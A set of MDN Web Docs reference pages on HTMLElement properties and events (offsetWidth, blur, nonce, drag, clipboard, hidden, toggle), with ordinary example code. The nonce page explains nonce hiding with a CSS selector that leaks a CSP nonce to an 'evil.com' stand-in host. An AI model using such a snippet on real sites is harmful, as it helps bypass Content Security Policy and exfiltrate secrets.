recursal/MDN huggingface dataset:
HTMLElement: offsetWidth property
=================================

 The **`HTMLElement.offsetWidth`** read-only property returns
 the layout width of an element as an integer.

 Typically, `offsetWidth` is a measurement in pixels of the element's CSS
 width, including any borders, padding, and vertical scrollbars (if rendered). It does
 not include the width of pseudo-elements such as `::before` or
 `::after`.

 If the element is hidden (for example, by setting `style.display` on the
 element or one of its ancestors to `"none"`), then `0` is
 returned.

Value
-----

An integer corresponding to the `offsetWidth` pixel value of the element. The `offsetWidth` property is a read-only.

**Note:** This property will round the value to an integer. If you need a fractional value, use
 `element.getBoundingClientRect()`.


Examples
--------

![An example element with large padding, border and margin. offsetWidth is the layout width of the element including its padding and border, and excluding its margin.](/en-US/docs/Web/API/HTMLElement/offsetWidth/dimensions-offset.png)

Specifications
--------------

| Specification |
| --- |
| CSSOM View Module # dom-htmlelement-offsetwidth |

### Notes

`offsetWidth` is a property of the DHTML object model which was first
 introduced by MSIE. It is sometimes referred to as an element's physical/graphical
 dimensions, or an element's border-box width.

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* `Element.clientWidth`
* `Element.scrollWidth`
* Determining the dimensions of elements
HTMLElement: blur() method
==========================

The **`HTMLElement.blur()`** method removes keyboard focus from the current element.

Syntax
------


```js
blur()
```

### Parameters

None.

### Return value

None (`undefined`).

Examples
--------

### Remove focus from a text input

#### HTML


```html
<input type="text" id="sampleText" value="Sample Text" /> <br /><br />
<button type="button" onclick="focusInput()">Click me to gain focus</button>
```


#### JavaScript


```js
function focusInput() {
  const textField = document.getElementById("sampleText");

  textField.focus();

  // The input will lose focus after 3 seconds
  setTimeout(() => {
    textField.blur();
  }, 3000);
}
```


#### Result

Specifications
--------------

| Specification |
| --- |
| HTML Standard # dom-blur-dev |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* `HTMLElement.focus`
HTMLElement: nonce property
===========================

The **`nonce`** property of the `HTMLElement` interface returns the cryptographic number used once that is used by Content Security Policy to determine whether a given fetch will be allowed to proceed.

In later implementations, elements only expose their `nonce` attribute to scripts (and not to side-channels like CSS attribute selectors).

Examples
--------

### Retrieving a nonce value

In the past, not all browsers supported the `nonce` IDL attribute, so a workaround is to try to use `getAttribute` as a fallback:


```js
let nonce = script["nonce"] || script.getAttribute("nonce");
```


However, recent browsers version hide `nonce` values that are accessed this way (an empty string will be returned). The IDL property (`script['nonce']`) will be the only way to access nonces.

Nonce hiding helps prevent attackers from exfiltrating nonce data via mechanisms that can grab data from content attributes like this CSS selector:


```css
script[nonce~="whatever"] {
  background: url("https://evil.com/nonce?whatever");
}
```

Specifications
--------------

| Specification |
| --- |
| HTML Standard # dom-noncedelement-nonce |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* `nonce` global attribute
* Content Security Policy
* CSP: `script-src`
HTMLElement: dragover event
===========================

The `dragover` event is fired when an element or text selection is being dragged over a valid drop target (every few hundred milliseconds).

This event is cancelable and may bubble up to the `Document` and `Window` objects.

Syntax
------

Use the event name in methods like `addEventListener()`, or set an event handler property.


```js
addEventListener("dragover", (event) => {});

ondragover = (event) => {};
```

Event type
----------

A `DragEvent`. Inherits from `Event`.

Event

UIEvent

MouseEvent

DragEventEvent properties
----------------

*In addition to the properties listed below, properties from the parent interface, `Event`, are available.*

`DragEvent.dataTransfer` Read only 

The data that is transferred during a drag-and-drop interaction.

Examples
--------

### A minimal drag-and-drop example

In this example, we have a draggable element inside a container. Try grabbing the element, dragging it over the other container, and releasing it.

We use three event handlers here:

* in the `dragstart` event handler, we get a reference to the element that the user dragged
* in the `dragover` event handler for the target container, we call `event.preventDefault()`, which enables it to receive `drop` events.
* in the `drop` event handler for the drop zone, we handle moving the draggable element from the original container to the drop zone.

For a complete example of drag and drop, see the page for the `drag` event.

#### HTML


```html
<div class="dropzone">
  <div id="draggable" draggable="true">This div is draggable</div>
</div>
<div class="dropzone" id="droptarget"></div>
```


#### CSS


```css
body {
  /\* Prevent the user from selecting text in the example \*/
  user-select: none;
}

#draggable {
  text-align: center;
  background: white;
}

.dropzone {
  width: 200px;
  height: 20px;
  background: blueviolet;
  margin: 10px;
  padding: 10px;
}
```


#### JavaScript


```js
let dragged = null;

const source = document.getElementById("draggable");
source.addEventListener("dragstart", (event) => {
  // store a ref. on the dragged elem
  dragged = event.target;
});

const target = document.getElementById("droptarget");
target.addEventListener("dragover", (event) => {
  // prevent default to allow drop
  event.preventDefault();
});

target.addEventListener("drop", (event) => {
  // prevent default action (open as link for some elements)
  event.preventDefault();
  // move dragged element to the selected drop target
  if (event.target.className === "dropzone") {
    dragged.parentNode.removeChild(dragged);
    event.target.appendChild(dragged);
  }
});
```


#### Result

Specifications
--------------

| Specification |
| --- |
| HTML Standard # ix-handler-ondragover |
| HTML Standard # event-dnd-dragover |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* Other drag and drop events:
    + `drag`
    + `dragstart`
    + `dragend`
    + `dragenter`
    + `dragleave`
    + `drop`
HTMLElement: error event
========================

The `error` event is fired on an element when a resource failed to load, or can't be used. For example, if a script has an execution error or an image can't be found or is invalid.

This event is not cancelable and does not bubble.

Syntax
------

Use the event name in methods like `addEventListener()`, or set an event handler property.


```js
addEventListener("error", (event) => {});

onerror = (event) => {};
```

Event type
----------

The event object is a `UIEvent` instance if it was generated from a user interface element, or an `Event` instance otherwise.

Event

UIEventExamples
--------

### Live example

#### HTML


```html
<div class="controls">
  <button id="img-error" type="button">Generate image error</button>
  <img class="bad-img" />
</div>

<div class="event-log">
  <label for="eventLog">Event log:</label>
  <textarea
 readonly
 class="event-log-contents"
 rows="8"
 cols="30"
 id="eventLog"></textarea>
</div>
```


```
body {
  display: grid;
  grid-template-areas: "control log";
}

.controls {
  grid-area: control;
  display: flex;
  align-items: center;
  justify-content: center;
}

.event-log {
  grid-area: log;
}

.event-log-contents {
  resize: none;
}

label,
button {
  display: block;
}

button {
  height: 2rem;
  margin: 0.5rem;
}

img {
  width: 0;
  height: 0;
}
```


#### JavaScript


```js
const log = document.querySelector(".event-log-contents");

const badImg = document.querySelector(".bad-img");
badImg.addEventListener("error", (event) => {
  log.textContent += `${event.type}: Loading image\n`;
  console.log(event);
});

const imgError = document.querySelector("#img-error");
imgError.addEventListener("click", () => {
  badImg.setAttribute("src", "i-dont-exist");
});
```


#### Result

Specifications
--------------

| Specification |
| --- |
| UI Events # event-type-error |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* Related events
    + Window: `error` event
    + HTMLElement: `load` event
HTMLElement: paste event
========================

The **`paste`** event fires when the user initiates a paste action through the browser's user interface.

Syntax
------

Use the event name in methods like `addEventListener()`, or set an event handler property.


```js
addEventListener("paste", (event) => {});

onpaste = (event) => {};
```

Event type
----------

A `ClipboardEvent`. Inherits from `Event`.

Event

ClipboardEventEvent properties
----------------

*Also inherits properties from its parent `Event`*.

`ClipboardEvent.clipboardData` Read only 

A `DataTransfer` object containing the data affected by the user-initiated `cut`, `copy`, or `paste` operation, along with its MIME type.

Example
-------

This example logs every copy and paste attempt to the `<textarea>`.

### HTML


```html
<h3>Play with this text area:</h3>
<textarea id="editor" rows="3">
Try copying and pasting text into this field!
</textarea>

<h3>Log:</h3>
<p id="log"></p>
```

### JavaScript


```js
function logCopy(event) {
  log.innerText = `Copied!\n${log.innerText}`;
}

function logPaste(event) {
  log.innerText = `Pasted!\n${log.innerText}`;
}

const editor = document.getElementById("editor");
const log = document.getElementById("log");

editor.oncopy = logCopy;
editor.onpaste = logPaste;
```

### Result

Specifications
--------------

| Specification |
| --- |
| Clipboard API and events # clipboard-event-paste |
| HTML Standard # handler-onpaste |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* Related events
    + `HTMLElement.copy_event`
    + `HTMLElement.cut_event`
HTMLElement: accessKeyLabel property
====================================

 The **`HTMLElement.accessKeyLabel`**
 read-only property returns a string containing the element's
 browser-assigned access key (if any); otherwise it returns an empty string.

Syntax
------


```js
label = element.accessKeyLabel
```

Example
-------

### JavaScript


```js
const btn = document.getElementById("btn1");
const shortcutLabel = btn.accessKeyLabel || btn.accessKey;
btn.title += ` [${shortcutLabel.toUpperCase()}]`;

btn.onclick = () => {
  const feedback = document.createElement("output");
  feedback.textContent = "Pressed!";
  btn.insertAdjacentElement("afterend", feedback);
};
```

### HTML


```html
<button accesskey="h" title="Caption" id="btn1">Hover me</button>
```

### Result

Specifications
--------------

| Specification |
| --- |
| HTML Standard # dom-accesskeylabel |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* `HTMLElement.accessKey`
* The accesskey global
 attribute.
HTMLElement: offsetParent property
==================================

 The **`HTMLElement.offsetParent`** read-only property returns a
 reference to the element which is the closest (nearest in the containment hierarchy)
 positioned ancestor element.

A positioned ancestor is either:

* an element with a non-static position, or
* `td`, `th`, `table` in case the element itself is static positioned.

If there is no positioned ancestor element, the `body` is returned.

**Note:** `offsetParent` returns `null` in the following
 situations:


* The element or any ancestor has the `display` property set to
 `none`.
* The element has the `position` property set to `fixed`
 (Firefox returns `<body>`).
* The element is `<body>` or `<html>`.

`offsetParent` is useful because
 `offsetTop` and
 `offsetLeft` are relative to its padding edge.

Value
-----

An object reference to the element in which the current element is offset.

Specifications
--------------

| Specification |
| --- |
| CSSOM View Module # dom-htmlelement-offsetparent |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.
HTMLElement: copy event
=======================

The **`copy`** event fires when the user initiates a copy action through the browser's user interface.

Syntax
------

Use the event name in methods like `addEventListener()`, or set an event handler property.


```js
addEventListener("copy", (event) => {});

oncopy = (event) => {};
```

Event type
----------

A `ClipboardEvent`. Inherits from `Event`.

Event

ClipboardEventEvent properties
----------------

*Also inherits properties from its parent `Event`*.

`ClipboardEvent.clipboardData` Read only 

A `DataTransfer` object containing the data affected by the user-initiated `cut`, `copy`, or `paste` operation, along with its MIME type.

Example
-------

This example blocks every copy and paste attempt from the `<textarea>`.

### HTML


```html
<h3>Play with this text area:</h3>
<textarea id="editor" rows="3">
Try copying and pasting text into this field!
</textarea>

<h3>Log:</h3>
<p id="log"></p>
```

### JavaScript


```js
const log = document.getElementById("log");

function logCopy(event) {
  log.innerText = `Copy blocked!\n${log.innerText}`;
  event.preventDefault();
}

function logPaste(event) {
  log.innerText = `Paste blocked!\n${log.innerText}`;
  event.preventDefault();
}

const editor = document.getElementById("editor");

editor.oncopy = logCopy;
editor.onpaste = logPaste;
```

### Result

Specifications
--------------

| Specification |
| --- |
| Clipboard API and events # clipboard-event-copy |
| HTML Standard # handler-oncopy |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* Related events
    + `HTMLElement.cut_event`
    + `HTMLElement.paste_event`
HTMLElement: cut event
======================

The **`cut`** event fires when the user initiates a cut action through the browser's user interface.

Syntax
------

Use the event name in methods like `addEventListener()`, or set an event handler property.


```js
addEventListener("cut", (event) => {});

oncut = (event) => {};
```

Event type
----------

A `ClipboardEvent`. Inherits from `Event`.

Event

ClipboardEventEvent properties
----------------

*Also inherits properties from its parent `Event`*.

`ClipboardEvent.clipboardData` Read only 

A `DataTransfer` object containing the data affected by the user-initiated `cut`, `copy`, or `paste` operation, along with its MIME type.

Example
-------

 This example allows text to be copied from the `<textarea>`, but doesn't
 allow text to be cut. It also logs each copy and cut attempt.

### HTML


```html
<h3>Play with this text area:</h3>
<textarea id="editor" rows="3">
Try copying and cutting the text in this field!
</textarea>

<h3>Log:</h3>
<p id="log"></p>
```

### JavaScript


```js
function logCopy(event) {
  log.innerText = `Copied!\n${log.innerText}`;
}

function preventCut(event) {
  event.preventDefault();
  log.innerText = `Cut blocked!\n${log.innerText}`;
}

const editor = document.getElementById("editor");
const log = document.getElementById("log");

editor.oncopy = logCopy;
editor.oncut = preventCut;
```

### Result

Specifications
--------------

| Specification |
| --- |
| Clipboard API and events # clipboard-event-cut |
| HTML Standard # handler-oncut |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* Related events
    + `HTMLElement.copy_event`
    + `HTMLElement.paste_event`
HTMLElement: hidden property
============================

The `HTMLElement` property **`hidden`** reflects the value of the element's `hidden` attribute.

Value
-----

This attribute may have one of three values:

`true`

The element is hidden.

`false`

The element is not hidden. This is the default value for the attribute.

`"until-found"`

The element is *hidden until found*, meaning that it is hidden but will be revealed if found through in page search or reached through fragment navigation.

For details on the usage of this attribute, see the page for the `hidden` HTML attribute that this property reflects.

Examples
--------

 Here's an example where a hidden block is used to contain a 'thank you' message that is
 displayed after a user agrees to an unusual request.

### HTML

The HTML contains two panels: a welcome panel, that asks users to agree to be awesome, and a follow-up panel, which is initially hidden.


```html
<div id="welcome" class="panel">
  <h1>Welcome to Foobar.com!</h1>
  <p>By clicking "OK" you agree to be awesome today!</p>
  <button class="button" id="okButton">OK</button>
</div>

<div id="awesome" class="panel" hidden>
  <h1>Thanks!</h1>
  <p>Thanks for agreeing to be awesome today!</p>
</div>
```

### CSS

The content is styled using the CSS below.


```css
.panel {
  font:
    16px "Open Sans",
    Helvetica,
    Arial,
    sans-serif;
  border: 1px solid #22d;
  padding: 12px;
  width: 500px;
  text-align: center;
}

.button {
  font:
    22px "Open Sans",
    Helvetica,
    Arial,
    sans-serif;
  padding: 5px 36px;
}

h1 {
  margin-top: 0;
  font-size: 175%;
}
```

### JavaScript

The JavaScript adds an event listener to the "OK" button, which hides the "welcome" panel and shows the "awesome" panel:


```js
document.getElementById("okButton").addEventListener(
  "click",
  () => {
    document.getElementById("welcome").hidden = true;
    document.getElementById("awesome").hidden = false;
  },
  false,
);
```

### Result

Specifications
--------------

| Specification |
| --- |
| HTML Standard # dom-hidden |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* hidden attribute
* `display`
HTMLElement: autofocus property
===============================

The **`autofocus`** property of the `HTMLElement` interface represents a boolean value reflecting the `autofocus` HTML global attribute, which indicates whether the control should be focused when the page loads, or when dialog or popover become shown if specified in an element inside `<dialog>` elements or elements whose popover attribute is set.

Only one form-associated element inside a document, or a `<dialog>` element, or an element whose `popover` attribute is set, can have this attribute specified. If there are several, the first element with the attribute set inserted, usually the first such element on the page, get the initial focus.

**Note:** Setting this property doesn't set the focus to the associated element: it merely tells the browser to focus to it when *the element is inserted* in the document. Setting it after the insertion, that is most of the time after the document load, has no visible effect.

Value
-----

A boolean value.

Specifications
--------------

| Specification |
| --- |
| HTML Standard # dom-fe-autofocus |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.
HTMLElement: toggle event
=========================

Limited availability
--------------------

This feature is not Baseline because it does not work in some of the most widely-used browsers.

* Learn more
* See full compatibility
* Report feedback
The **`toggle`** event of the `HTMLElement` interface fires on a popover element (i.e. one that has a valid `popover` attribute) just after it is shown or hidden.

* If the popover element is transitioning from hidden to showing, the `event.oldState` property will be set to `closed` and the `event.newState` property will be set to `open`.
* If the popover element is transitioning from showing to hidden, then `event.oldState` will be `open` and `event.newState` will be `closed`.

**Note:** The `toggle` event behaves differently when fired on `<details>` elements. In this case, it does not relate to popovers, and instead fires when the `open`/`closed` state of a `<details>` element is toggled. See the `HTMLDetailsElement` `toggle event` page for more information.

Syntax
------

Use the event name in methods like `addEventListener()`, or set an event handler property.


```js
addEventListener("toggle", (event) => {});

ontoggle = (event) => {};
```

Event type
----------

A `ToggleEvent`. Inherits from `Event`.

Event

ToggleEventExamples
--------

### Basic example


```js
const popover = document.getElementById("mypopover");

// ...

popover.addEventListener("toggle", (event) => {
  if (event.newState === "open") {
    console.log("Popover has been shown");
  } else {
    console.log("Popover has been hidden");
  }
});
```

### A note on toggle event coalescing

It is worth pointing out that `toggle` events are coalesced, meaning that if multiple `toggle` events are fired before the event loop has a chance to cycle, only a single event will be fired.

For example:


```js
popover.addEventListener("toggle", () => {
  //...
});

popover.showPopover();
popover.hidePopover();
// `toggle` only fires once
```

Specifications
--------------

| Specification |
| --- |
| HTML Standard # event-toggle |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* `popover` HTML global attribute
* Popover API
* Related event: `beforetoggle`